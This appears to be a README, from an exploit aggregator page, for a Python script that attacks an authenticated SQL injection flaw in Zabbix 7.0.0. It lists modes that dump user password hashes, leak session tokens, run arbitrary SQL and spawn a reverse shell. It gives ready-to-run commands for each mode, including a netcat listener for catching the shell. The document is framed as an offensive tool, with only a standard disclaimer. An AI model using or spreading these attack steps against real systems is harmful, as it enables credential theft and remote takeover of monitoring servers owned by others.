## https://sploitus.com/exploit?id=285C1AC6-89F8-5698-9A39-0738786ADA57
# π‘οΈ Zabbix 7.0.0 SQL Injection Exploit Script
A Python script to exploit a **Zabbix 7.0.0** authenticated SQL injection vulnerability, supporting multiple modes of action including user data extraction, session token leaks, remote command execution (RCE), and custom query injection.
> β οΈ **DISCLAIMER:**
> This script is for **educational** and **authorized penetration testing** purposes only.
> Do **not** use it on systems you do not own or have explicit permission to test.
> The author is not responsible for any misuse or damage caused by this tool.
---
## β¨ Features
- β
Authenticated SQL Injection against Zabbix 7.0.0
- π§βπ» Dump user hashes from the DB
- π Leak session tokens
- π Remote code execution via reverse shell (admin token required)
- π§ Run custom SQL queries
---
## π§ Requirements
- Python 3.6+
- `requests` library
Install requirements if needed:
```bash
pip install requests
```
## π Usage
```bash
python3 sqliZabbix.py -u -U -p --mode [optional args...]
```
## π Available Modes
| Mode | Description | Requires Admin Token |
| ------------ | ------------ | ------------ |
| leak-users | Dumps all user IDs, usernames, password hashes, and roles | β |
| leak-tokens | Dumps all active session IDs from the database | β |
| rce | Spawns a reverse shell via item.create exploit | β
|
| custom | Run any custom SQL query via the injection | β |
## π§ͺ Examples
Dump User Hashes
```bash
python3 sqliZabbix.py -u http://target/zabbix/ -U guest -p guest --mode leak-users
```
Leak Session Tokens
```bash
python3 sqliZabbix.py -u http://target/zabbix/ -U guest -p guest --mode leak-tokens
```
Remote Code Execution (Reverse Shell)
```bash
# Start a listener first:
nc -lvnp 9001
# Then run:
python3 sqliZabbix.py -u http://target/zabbix/ -U guest -p guest --admin_token --ip --port 9001 --mode rce
```
Custom SQL Injection
```bash
python3 sqliZabbix.py -u http://target/zabbix/ -U guest -p guest --mode custom --query "SELECT version()"
```
## π Project Structure
```bash
sqliZabbix.py # Main exploit script
README.md # This documentation
```
## π§βπ» Author
Anthony (@874anthony)
Crafted with love & curiosity π
## π License
This project is released under the MIT License. Please use responsibly.